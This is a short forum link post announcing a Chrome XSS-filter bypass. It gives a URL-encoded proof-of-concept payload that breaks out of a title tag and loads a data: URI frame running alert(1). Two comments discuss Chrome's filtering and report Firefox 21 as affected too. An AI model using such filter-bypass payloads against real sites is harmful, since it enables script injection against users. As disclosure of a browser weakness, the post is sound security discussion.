New XSS Bypass on Google Chrome filter(html5sec.org)

10 pointsby viana00713 anni fa2 comments

http://html5sec.org/title?xss=%3C/title%3E%3Cframeset%3E%3Cframe%20src=%22data:text/html,%3Cscript%3Ealert(1)%3C/script%3E%22%3E

2 comments

waraey13 anni fa

Awesome. First noticed that Chrome was blocking XSS attempts a week ago. It seems that if Chrome want's to move in the direction of ignoring specs and standards for security means, they are headed down the lines of IE.

mrng13 anni fa

Firefox 21 (Windows) seems to be vulnerable, too.